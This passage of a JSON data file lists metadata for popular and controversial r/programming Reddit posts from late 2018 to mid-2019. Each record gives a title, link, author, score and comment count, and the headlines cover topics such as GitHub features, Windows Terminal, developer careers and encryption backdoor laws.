  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bt5xc5",
  "url": "https://artur-martsinkovskyi.github.io//2018/logical-fallacies-in-programming/",
  "permalink": "https://www.reddit.com/r/programming/comments/bt5xc5/logical_fallacies_in_software_engineering_amblog/",
  "title": "Logical fallacies in software engineering | AMBlog",
  "body": null,
  "author": "gentleterror",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 36,
  "createdAt": "2019-05-26T09:17:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://artur-martsinkovskyi.github.io//2018/logical-fallacies-in-programming/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bs0lxy",
  "url": "https://github.com/sponsors",
  "permalink": "https://www.reddit.com/r/programming/comments/bs0lxy/github_launches_sponsors_lets_you_pay_your/",
  "title": "GitHub launches Sponsors, lets you pay your favorite open source contributors",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4587,
  "upvoteRatio": 0.97,
  "numComments": 512,
  "createdAt": "2019-05-23T09:02:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/sponsors",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bombvw",
  "url": "https://glenmccallum.com/2019/05/14/senior-developers-rejected-jobs/",
  "permalink": "https://www.reddit.com/r/programming/comments/bombvw/senior_developers_are_getting_rejected_for_jobs/",
  "title": "Senior Developers are Getting Rejected for Jobs",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 4324,
  "upvoteRatio": 0.94,
  "numComments": 1639,
  "createdAt": "2019-05-14T18:05:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://glenmccallum.com/2019/05/14/senior-developers-rejected-jobs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_blpbz2",
  "url": "https://arstechnica.com/gadgets/2019/05/windows-10-will-soon-ship-with-a-full-open-source-gpled-linux-kernel",
  "permalink": "https://www.reddit.com/r/programming/comments/blpbz2/windows_10_linux_subsystem_will_ship_with_a_real/",
  "title": "Windows 10 Linux subsystem will ship with a real Linux kernel",
  "body": null,
  "author": "serrimo",
  "subreddit": "programming",
  "score": 3234,
  "upvoteRatio": 0.96,
  "numComments": 795,
  "createdAt": "2019-05-07T11:03:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/gadgets/2019/05/windows-10-will-soon-ship-with-a-full-open-source-gpled-linux-kernel",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_blewqm",
  "url": "https://www.theverge.com/2019/5/6/18527870/microsoft-windows-terminal-command-line-tool",
  "permalink": "https://www.reddit.com/r/programming/comments/blewqm/microsoft_unveils_windows_terminal_a_new_command/",
  "title": "Microsoft unveils Windows Terminal, a new command line app for Windows",
  "body": null,
  "author": "zbhoy",
  "subreddit": "programming",
  "score": 5857,
  "upvoteRatio": 0.96,
  "numComments": 1072,
  "createdAt": "2019-05-06T17:17:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theverge.com/2019/5/6/18527870/microsoft-windows-terminal-command-line-tool",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bjsoeh",
  "url": "https://zeroequalsfalse.press/posts/it-is-ok-to-only-code-at-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/bjsoeh/it_is_perfectly_ok_to_only_code_at_work_you_can/",
  "title": "It is perfectly OK to only code at work, you can have a life too.",
  "body": null,
  "author": "woahdotcom",
  "subreddit": "programming",
  "score": 7524,
  "upvoteRatio": 0.94,
  "numComments": 1066,
  "createdAt": "2019-05-02T08:54:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zeroequalsfalse.press/posts/it-is-ok-to-only-code-at-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bgw2a3",
  "url": "https://hackernoon.com/your-cs-degree-wont-prepare-you-for-angry-users-legacy-code-or-the-whims-of-other-engineers-64a43595ec63",
  "permalink": "https://www.reddit.com/r/programming/comments/bgw2a3/your_cs_degree_wont_prepare_you_for_angry_users/",
  "title": "Your CS Degree Won’t Prepare You For Angry Users, Legacy Code, or the Whims of Other Engineers",
  "body": null,
  "author": "caternoon",
  "subreddit": "programming",
  "score": 3937,
  "upvoteRatio": 0.95,
  "numComments": 583,
  "createdAt": "2019-04-24T15:35:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackernoon.com/your-cs-degree-wont-prepare-you-for-angry-users-legacy-code-or-the-whims-of-other-engineers-64a43595ec63",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bglvey",
  "url": "https://twitter.com/bispectral/status/1120517334538641408",
  "permalink": "https://www.reddit.com/r/programming/comments/bglvey/the_9bn_james_webb_space_telescope_will_run/",
  "title": "The >$9Bn James Webb Space Telescope will run JavaScript to direct its instruments, using a proprietary interpreter by a company that has gone bankrupt in the meantime...",
  "body": null,
  "author": "Almoturg",
  "subreddit": "programming",
  "score": 4049,
  "upvoteRatio": 0.96,
  "numComments": 723,
  "createdAt": "2019-04-23T21:18:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/bispectral/status/1120517334538641408",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bagf0h",
  "url": "https://www.youtube.com/watch?v=bVQUSndDllU",
  "permalink": "https://www.reddit.com/r/programming/comments/bagf0h/a_great_visual_explanation_on_how_neural_networks/",
  "title": "A great visual explanation on how Neural Networks really work [x-post from x/videos]",
  "body": null,
  "author": "burnt1ce85",
  "subreddit": "programming",
  "score": 2964,
  "upvoteRatio": 0.97,
  "numComments": 103,
  "createdAt": "2019-04-07T13:50:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=bVQUSndDllU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_b9ahz0",
  "url": "https://blog.couchbase.com/unreasonable-effectiveness-of-sql/",
  "permalink": "https://www.reddit.com/r/programming/comments/b9ahz0/unreasonable_effectiveness_of_sql/",
  "title": "Unreasonable Effectiveness of SQL",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 23,
  "createdAt": "2019-04-04T09:20:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.couchbase.com/unreasonable-effectiveness-of-sql/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_b799yb",
  "url": "https://radiichina.com/github-protest-chinese-tech-996/",
  "permalink": "https://www.reddit.com/r/programming/comments/b799yb/github_protest_over_chinese_tech_companies_996/",
  "title": "GitHub Protest Over Chinese Tech Companies' \"996\" Culture Goes Viral. \"996\" refers to the idea tech employees should work 9am-9pm 6 days a week. Chinese tech companies really make their employees feel that they own all of their time. Not only while in the office, but also in after hours with WeChat.",
  "body": null,
  "author": "Xiaomizi",
  "subreddit": "programming",
  "score": 9212,
  "upvoteRatio": 0.97,
  "numComments": 766,
  "createdAt": "2019-03-30T09:21:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://radiichina.com/github-protest-chinese-tech-996/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_b2r3xj",
  "url": "https://techcrunch.com/2019/03/18/nvidia-ai-turns-sketches-into-photorealistic-landscapes-in-seconds/",
  "permalink": "https://www.reddit.com/r/programming/comments/b2r3xj/nvidia_ai_turns_sketches_into_photorealistic/",
  "title": "Nvidia AI turns sketches into photorealistic landscapes in seconds",
  "body": null,
  "author": "Skarvion",
  "subreddit": "programming",
  "score": 3109,
  "upvoteRatio": 0.97,
  "numComments": 285,
  "createdAt": "2019-03-19T01:31:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2019/03/18/nvidia-ai-turns-sketches-into-photorealistic-landscapes-in-seconds/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_b0vjq1",
  "url": "https://www.reddit.com/r/PhoenixPoint/comments/b0rxdq/epic_game_store_spyware_tracking_and_you/",
  "permalink": "https://www.reddit.com/r/programming/comments/b0vjq1/rnotte_m_portent_discovers_that_the_epic_games/",
  "title": "/r/notte_m_portent discovers that the Epic Games Launcher tracks you, accesses root and a lot more. Can /r/programming dig into this?",
  "body": null,
  "author": "Noctaem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 42,
  "createdAt": "2019-03-14T03:40:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/PhoenixPoint/comments/b0rxdq/epic_game_store_spyware_tracking_and_you/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ayoo0q",
  "url": "http://net.cs.uni-bonn.de/fileadmin/user_upload/naiakshi/Naiakshina_Password_Study.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/ayoo0q/researchers_asked_43_freelance_developers_to_code/",
  "title": "Researchers asked 43 freelance developers to code the user registration for a web app and assessed how they implemented password storage. 26 devs initially chose to leave passwords as plaintext.",
  "body": null,
  "author": "drsatan1",
  "subreddit": "programming",
  "score": 4759,
  "upvoteRatio": 0.94,
  "numComments": 638,
  "createdAt": "2019-03-08T10:13:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://net.cs.uni-bonn.de/fileadmin/user_upload/naiakshi/Naiakshina_Password_Study.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_axt97a",
  "url": "https://www.nsa.gov/resources/everyone/ghidra/",
  "permalink": "https://www.reddit.com/r/programming/comments/axt97a/ghidra_nsas_reverse_engineering_tool_is_now/",
  "title": "Ghidra, NSA's reverse engineering tool, is now available to the public",
  "body": null,
  "author": "thesbros",
  "subreddit": "programming",
  "score": 3035,
  "upvoteRatio": 0.97,
  "numComments": 278,
  "createdAt": "2019-03-06T01:55:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nsa.gov/resources/everyone/ghidra/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_arx96h",
  "url": "https://habr.com/en/post/440736/",
  "permalink": "https://www.reddit.com/r/programming/comments/arx96h/i_ruin_developers_lives_with_my_code_reviews_and/",
  "title": "I ruin developers’ lives with my code reviews and I'm sorry",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3366,
  "upvoteRatio": 0.9,
  "numComments": 584,
  "createdAt": "2019-02-18T13:31:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://habr.com/en/post/440736/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aripv6",
  "url": "https://www.bbc.com/news/technology-47252725",
  "permalink": "https://www.reddit.com/r/programming/comments/aripv6/ad_code_slows_down_browsing_speeds_developer/",
  "title": "Ad code 'slows down' browsing speeds: Developer Patrick Hulce found that about 60% of the total loading time of a page was caused by scripts that place adverts or analyse what users do",
  "body": null,
  "author": "rieslingatkos",
  "subreddit": "programming",
  "score": 3979,
  "upvoteRatio": 0.96,
  "numComments": 374,
  "createdAt": "2019-02-17T08:28:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bbc.com/news/technology-47252725",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ar1qj1",
  "url": "https://itnext.io/chromium-is-eroding-the-open-web-and-its-our-responsibility-to-stop-it-b577e121a4a9",
  "permalink": "https://www.reddit.com/r/programming/comments/ar1qj1/chromium_is_eroding_the_open_web_and_its_our/",
  "title": "Chromium is eroding the Open Web and it’s our responsibility to stop it",
  "body": null,
  "author": "wineandcode",
  "subreddit": "programming",
  "score": 3136,
  "upvoteRatio": 0.92,
  "numComments": 547,
  "createdAt": "2019-02-15T21:50:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://itnext.io/chromium-is-eroding-the-open-web-and-its-our-responsibility-to-stop-it-b577e121a4a9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aqwul2",
  "url": "https://medium.com/bbc-design-engineering/my-first-few-months-as-a-software-engineer-at-the-bbc-fbb3dd58b2dd",
  "permalink": "https://www.reddit.com/r/programming/comments/aqwul2/my_first_few_months_as_a_software_engineer_at_the/",
  "title": "My first few months as a Software Engineer at the BBC",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.53,
  "numComments": 33,
  "createdAt": "2019-02-15T14:03:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/bbc-design-engineering/my-first-few-months-as-a-software-engineer-at-the-bbc-fbb3dd58b2dd",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aqjtnv",
  "url": "https://www.euronews.com/2019/02/13/switzerland-offers-cash-to-hackers-who-can-crack-its-e-voting-system",
  "permalink": "https://www.reddit.com/r/programming/comments/aqjtnv/switzerland_offers_cash_to_hackers_who_can_crack/",
  "title": "Switzerland offers cash to hackers who can crack its e-voting system",
  "body": null,
  "author": "fuckin_ziggurats",
  "subreddit": "programming",
  "score": 3675,
  "upvoteRatio": 0.98,
  "numComments": 536,
  "createdAt": "2019-02-14T13:37:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.euronews.com/2019/02/13/switzerland-offers-cash-to-hackers-who-can-crack-its-e-voting-system",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aqbd4k",
  "url": "https://josephg.com/blog/electron-is-flash-for-the-desktop/",
  "permalink": "https://www.reddit.com/r/programming/comments/aqbd4k/electron_is_flash_for_the_desktop/",
  "title": "Electron is Flash for the desktop",
  "body": null,
  "author": "rovarma",
  "subreddit": "programming",
  "score": 2953,
  "upvoteRatio": 0.9,
  "numComments": 1175,
  "createdAt": "2019-02-13T20:54:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://josephg.com/blog/electron-is-flash-for-the-desktop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_apm5g6",
  "url": "https://www.zdnet.com/article/microsoft-70-percent-of-all-security-bugs-are-memory-safety-issues/",
  "permalink": "https://www.reddit.com/r/programming/comments/apm5g6/microsoft_70_percent_of_all_security_bugs_are/",
  "title": "Microsoft: 70 percent of all security bugs are memory safety issues",
  "body": null,
  "author": "steveklabnik1",
  "subreddit": "programming",
  "score": 2976,
  "upvoteRatio": 0.97,
  "numComments": 765,
  "createdAt": "2019-02-11T22:49:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/microsoft-70-percent-of-all-security-bugs-are-memory-safety-issues/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aoqawt",
  "url": "https://variety.com/2019/digital/news/sony-pictures-opencolorio-academy-software-foundation-1203133108/",
  "permalink": "https://www.reddit.com/r/programming/comments/aoqawt/sony_pictures_has_opensourced_software_used_to/",
  "title": "Sony Pictures Has Open-Sourced Software Used to Make ‘Spider-Man: Into the Spider-Verse’",
  "body": null,
  "author": "epic_within",
  "subreddit": "programming",
  "score": 5351,
  "upvoteRatio": 0.97,
  "numComments": 149,
  "createdAt": "2019-02-09T07:45:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://variety.com/2019/digital/news/sony-pictures-opencolorio-academy-software-foundation-1203133108/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aj19vp",
  "url": "https://medium.com/@alexgolec/google-interview-problems-synonymous-queries-36425145387c",
  "permalink": "https://www.reddit.com/r/programming/comments/aj19vp/former_google_engineer_breaks_down_interview/",
  "title": "Former Google engineer breaks down interview problems he used to use to screen candidates. Lots of good programming tips and advice.",
  "body": null,
  "author": "jfasi",
  "subreddit": "programming",
  "score": 4150,
  "upvoteRatio": 0.95,
  "numComments": 522,
  "createdAt": "2019-01-23T16:14:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@alexgolec/google-interview-problems-synonymous-queries-36425145387c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ag7vh4",
  "url": "https://media.defense.gov/2018/Oct/09/2002049591/-1/-1/0/DIB_DETECTING_AGILE_BS_2018.10.05.PDF",
  "permalink": "https://www.reddit.com/r/programming/comments/ag7vh4/detecting_agile_bullshit_from_the_us_department/",
  "title": "Detecting Agile Bullshit (from the US Department of Defense)",
  "body": null,
  "author": "nfrankel",
  "subreddit": "programming",
  "score": 3090,
  "upvoteRatio": 0.96,
  "numComments": 366,
  "createdAt": "2019-01-15T12:13:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://media.defense.gov/2018/Oct/09/2002049591/-1/-1/0/DIB_DETECTING_AGILE_BS_2018.10.05.PDF",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_afgbww",
  "url": "https://www.igorkromin.net/index.php/2019/01/13/godaddy-is-sneakily-injecting-javascript-into-your-website-and-how-to-stop-it/",
  "permalink": "https://www.reddit.com/r/programming/comments/afgbww/godaddy_is_sneakily_injecting_javascript_into/",
  "title": "GoDaddy is sneakily injecting JavaScript into your website and how to stop it",
  "body": null,
  "author": "mawburn",
  "subreddit": "programming",
  "score": 4398,
  "upvoteRatio": 0.97,
  "numComments": 451,
  "createdAt": "2019-01-13T05:35:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.igorkromin.net/index.php/2019/01/13/godaddy-is-sneakily-injecting-javascript-into-your-website-and-how-to-stop-it/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_aeweqw",
  "url": "https://blog.salaryproject.com/netflix-software-engineers-earn-a-salary-of-more-than-300000/",
  "permalink": "https://www.reddit.com/r/programming/comments/aeweqw/netflix_software_engineers_earn_a_salary_of_more/",
  "title": "Netflix Software Engineers earn a salary of more than $300,000",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 7505,
  "upvoteRatio": 0.95,
  "numComments": 1357,
  "createdAt": "2019-01-11T15:24:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.salaryproject.com/netflix-software-engineers-earn-a-salary-of-more-than-300000/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ae4ext",
  "url": "https://www.youtube.com/watch?v=9U0XVdvQwAI",
  "permalink": "https://www.reddit.com/r/programming/comments/ae4ext/this_guy_made_a_video_game_out_of_his_game_engine/",
  "title": "This guy made a video game out of his game engine that can render infinitely detailed fractals",
  "body": null,
  "author": "kanliot",
  "subreddit": "programming",
  "score": 3736,
  "upvoteRatio": 0.96,
  "numComments": 251,
  "createdAt": "2019-01-09T07:11:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=9U0XVdvQwAI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_adjw6g",
  "url": "https://thenextweb.com/dd/2019/01/05/github-now-gives-free-users-unlimited-private-repositories/",
  "permalink": "https://www.reddit.com/r/programming/comments/adjw6g/github_now_gives_free_users_unlimited_private/",
  "title": "GitHub now gives free users unlimited private repositories",
  "body": null,
  "author": "i_wonder_as_i_wander",
  "subreddit": "programming",
  "score": 15717,
  "upvoteRatio": 0.96,
  "numComments": 1001,
  "createdAt": "2019-01-07T17:25:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thenextweb.com/dd/2019/01/05/github-now-gives-free-users-unlimited-private-repositories/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a66102",
  "url": "https://signal.org/blog/setback-in-the-outback/",
  "permalink": "https://www.reddit.com/r/programming/comments/a66102/we_cant_include_a_backdoor_in_signal_signal/",
  "title": "\"We can’t include a backdoor in Signal\" - Signal messenger stands firm against Australian anti-encryption law",
  "body": null,
  "author": "Aimeedeer",
  "subreddit": "programming",
  "score": 3819,
  "upvoteRatio": 0.97,
  "numComments": 439,
  "createdAt": "2018-12-14T15:57:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://signal.org/blog/setback-in-the-outback/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a3kk7u",
  "url": "https://tendaily.com.au/amp/news/australia/a181206zli/if-encryption-laws-go-through-australia-may-lose-apple-20181206",
  "permalink": "https://www.reddit.com/r/programming/comments/a3kk7u/australian_programmers_could_be_fired_by_their/",
  "title": "Australian programmers could be fired by their companies for implementing government backdoors",
  "body": null,
  "author": "drizzcool",
  "subreddit": "programming",
  "score": 5765,
  "upvoteRatio": 0.98,
  "numComments": 772,
  "createdAt": "2018-12-06T04:34:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tendaily.com.au/amp/news/australia/a181206zli/if-encryption-laws-go-through-australia-may-lose-apple-20181206",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a1rp4s",
  "url": "https://stackoverflow.com/questions/53452713/why-is-2-i-i-faster-than-2-i-i",
  "permalink": "https://www.reddit.com/r/programming/comments/a1rp4s/why_is_2_i_i_faster_than_2_i_i_java/",
  "title": "Why is “2 * (i * i)” faster than “2 * i * i”? (JAVA)",
  "body": null,
  "author": "RobIII",
  "subreddit": "programming",
  "score": 3875,
  "upvoteRatio": 0.95,
  "numComments": 409,
  "createdAt": "2018-11-30T11:39:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.com/questions/53452713/why-is-2-i-i-faster-than-2-i-i",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a1gbqw",
  "url": "https://slashcrypto.org/2018/11/28/eBay-source-code-leak/",
  "permalink": "https://www.reddit.com/r/programming/comments/a1gbqw/ebay_japan_source_leak_as_git_folder_deployed_to/",
  "title": "eBay Japan source leak as .git folder deployed to production",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 3754,
  "upvoteRatio": 0.96,
  "numComments": 458,
  "createdAt": "2018-11-29T10:50:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://slashcrypto.org/2018/11/28/eBay-source-code-leak/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_a16cgg",
  "url": "https://blog.adamant-lang.org/2018/garbage-collection-is-a-hack/",
  "permalink": "https://www.reddit.com/r/programming/comments/a16cgg/garbage_collection_is_a_hack/",
  "title": "Garbage Collection is a Hack",
  "body": null,
  "author": "WalkerCodeRanger",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 74,
  "createdAt": "2018-11-28T13:47:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.adamant-lang.org/2018/garbage-collection-is-a-hack/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9zyc4q",
  "url": "https://blog.cloudflare.com/every-7-8us-your-computers-memory-has-a-hiccup/",
  "permalink": "https://www.reddit.com/r/programming/comments/9zyc4q/every_78μs_your_computers_memory_has_a_hiccup/",
  "title": "Every 7.8μs your computer’s memory has a hiccup",
  "body": null,
  "author": "rovarma",
  "subreddit": "programming",
  "score": 3401,
  "upvoteRatio": 0.96,
  "numComments": 291,
  "createdAt": "2018-11-24T13:09:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/every-7-8us-your-computers-memory-has-a-hiccup/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9y3ojk",
  "url": "https://dev.to/ben/many-software-communities-do-not-value-the-need-to-reduce-the-mental-load-for-developers-dcj",
  "permalink": "https://www.reddit.com/r/programming/comments/9y3ojk/many_software_communities_do_not_value_the_need/",
  "title": "Many software communities do not value the need to reduce the mental load for developers",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 43,
  "upvoteRatio": 0.53,
  "numComments": 134,
  "createdAt": "2018-11-18T05:52:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dev.to/ben/many-software-communities-do-not-value-the-need-to-reduce-the-mental-load-for-developers-dcj",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_9xla2j",
